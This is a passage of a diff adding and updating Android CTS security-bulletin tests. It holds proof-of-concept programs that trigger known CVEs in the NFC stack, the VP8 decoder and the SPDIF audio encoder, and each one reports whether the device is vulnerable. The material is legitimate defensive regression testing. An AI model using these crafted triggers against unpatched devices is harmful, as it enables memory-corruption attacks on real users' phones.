+ (void)p_rw_data;
+}
+
+int32_t main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ GKI_init();
+ llcp_init();
+ for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+ llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+ llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+ llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+ }
+
+ testInProgress = true;
+ llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+ nullptr);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 00000000000..639ca9113ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2031",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ "system/nfc/src/nfa/include",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 00000000000..17812370c49
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ memset(ptr, 0x0, size);
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED,
+ RW_T3T_STATE_IDLE,
+ RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+ GKI_init();
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+ NFC_STATUS_OK)
+
+ p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+
+ p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+ p_t3t->ndef_attrib.ln = 0x000F;
+
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->offset = 0;
+ p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+ uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+ p_t3t_rsp[0] = NCI_STATUS_OK;
+ p_t3t_rsp++;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
new file mode 100644
index 00000000000..aa9a2f93e70
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2020-0034",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "32",
+ arch: {
+ arm: {
+ include_dirs: [
+ "external/libvpx/config/arm-neon",
+ ],
+ shared_libs: [
+ "libvpx",
+ ],
+ cflags: [
+ "-DTEST_ARM32",
+ ],
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 00000000000..cc7cc22b99b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+ if (fp) {
+ fclose(fp);
+ }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+#ifdef TEST_ARM32
+ atexit(exitHandler);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ FAIL_CHECK(argc >= 2);
+ fp = fopen(argv[1], "rb");
+ FAIL_CHECK(fp);
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+ std::vector<uint8_t> buffer(size);
+ FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+ vpx_codec_ctx_t codec;
+ vpx_codec_dec_cfg_t cfg;
+ memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+ cfg.threads = 1;
+ FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+ uint8_t *data = buffer.data();
+ data += IVF_FILE_HDR_SZ;
+ size -= IVF_FILE_HDR_SZ;
+
+ while (size > IVF_FRAME_HDR_SZ) {
+ size_t frame_size = mem_get_le32(data);
+ size -= IVF_FRAME_HDR_SZ;
+ data += IVF_FRAME_HDR_SZ;
+ frame_size = std::min(size, frame_size);
+
+ testInProgress = true;
+ vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+ testInProgress = false;
+
+ vpx_codec_iter_t iter = nullptr;
+ vpx_image_t *img = nullptr;
+ while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+ if (img->d_w > img->w || img->d_h > img->h) {
+ return EXIT_VULNERABLE;
+ }
+ }
+ data += frame_size;
+ size -= frame_size;
+ }
+ vpx_codec_destroy(&codec);
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
index 807b9106d1b..2a5682f8979 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,6 +14,7 @@
* limitations under the License.
*
*/
+
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea4462558..8249c0c344e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
#include <nfc_api.h>
#include <rw_int.h>
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
rw_init();
rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@ int main() {
p_t2t->bytes_count = 1;
p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
new file mode 100644
index 00000000000..31fbfd2eaac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2020-0458",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libaudiospdif",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
new file mode 100644
index 00000000000..dbb4ee51559
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <audio_utils/spdif/SPDIFEncoder.h>
+#include "../includes/common.h"
+
+// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder"
+class PocSPDIFEncoder : public android::SPDIFEncoder {
+ public:
+
+ explicit PocSPDIFEncoder(audio_format_t format)
+ : SPDIFEncoder(format) {
+ }
+
+ PocSPDIFEncoder() = default;
+
+ size_t getBurstBufferSizeBytes() const {
+ return mBurstBufferSizeBytes;
+ }
+
+ size_t getByteCursor() const {
+ return mByteCursor;
+ }
+
+ android::FrameScanner *getFramer() const {
+ return mFramer;
+ }
+
+ size_t getPayloadBytesPending() const {
+ return mPayloadBytesPending;
+ }
+
+ ssize_t writeOutput(const void*, size_t numBytes) override {
+ mOutputSizeBytes = numBytes;
+ return numBytes;
+ }
+
+ size_t mOutputSizeBytes = 0;
+};
+
+int main() {
+ PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3);
+
+ // Beginning of the file channelcheck_48k6ch.eac3 with frame size
+ // forced to zero
+ uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E,
+ 0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
+ 0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9,
+ 0xE7 };
+ encoder.write(buf, sizeof(buf));
+
+ size_t bufferSize = encoder.getBurstBufferSizeBytes();
+
+ // If vulnerability is present, 'mPayloadBytesPending' will be assigned
+ // a large overflowed value
+ size_t pendingBytes = encoder.getPayloadBytesPending();
+
+ // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending',
+ // this will happen if 'mPayloadBytesPending' holds a overflowed value
+ return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
index bcbf54fe555..6595bcc8af4 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -20,7 +20,7 @@ package {
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-29374",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
srcs: ["poc.cpp",],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
index 1b3528cd24a..1b3528cd24a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935ce0af..5033b2e6103 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a2007..bb3bdc20f4d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
* limitations under the License.
*/
+#include <../includes/common.h>
+#include <../includes/memutils.h>
#include <nfc_int.h>
#include <rw_int.h>
#define RW_MFC_STATE_READ_NDEF 0x03
#define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
-void GKI_freebuf(void*) {
-}
+char enable_selective_overload = ENABLE_NONE;
-void GKI_start_timer(uint8_t, int32_t, bool) {
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
}
-void GKI_stop_timer(uint8_t) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
}
-void cback(tRW_EVENT, tRW_DATA*) {
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+
+ if (p_mfc) {
+ if (p_mfc->p_ndef_buffer) {
+ free(p_mfc->p_ndef_buffer);
+ p_mfc->p_ndef_buffer = nullptr;
+ }
+ free(p_mfc);
+ p_mfc = nullptr;
+ }
}
int main() {
- tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ p_mfc = &rw_cb.tcb.mfc;
GKI_init();
rw_init();
uint8_t selres = 1;
- uint8_t uid[MFC_UID_LEN] = { 1 };
- if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ uint8_t uid[MFC_UID_LEN] = {1};
+
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
p_mfc->state = RW_MFC_STATE_READ_NDEF;
p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
- tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
- tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
- p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
- if (!(p_data->data.p_data)) {
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+ FAIL_CHECK(p_data->data.p_data);
p_data->data.status = NFC_STATUS_OK;
tNFC_CONN_EVT event = NFC_DATA_CEVT;
- NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
- mfc_data->len = 0x10;
+ NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+ mfc_data->len = RW_MFC_DATA_LEN;
mfc_data->offset = 0;
- p_mfc->ndef_length = 1024;
- p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
- if (!(p_mfc->p_ndef_buffer)) {
- free(p_data->data.p_data);
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+ p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(p_mfc->p_ndef_buffer);
rw_cb.p_cback = cback;
+ isTestInProgress = true;
p_cb->p_cback(0, event, p_data);
+ isTestInProgress = false;
- free(p_mfc->p_ndef_buffer);
- free(p_data->data.p_data);
- free(p_data);
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 00000000000..8fd68012c9c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39664",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libandroidfw",
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 00000000000..0c477f6eb18
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
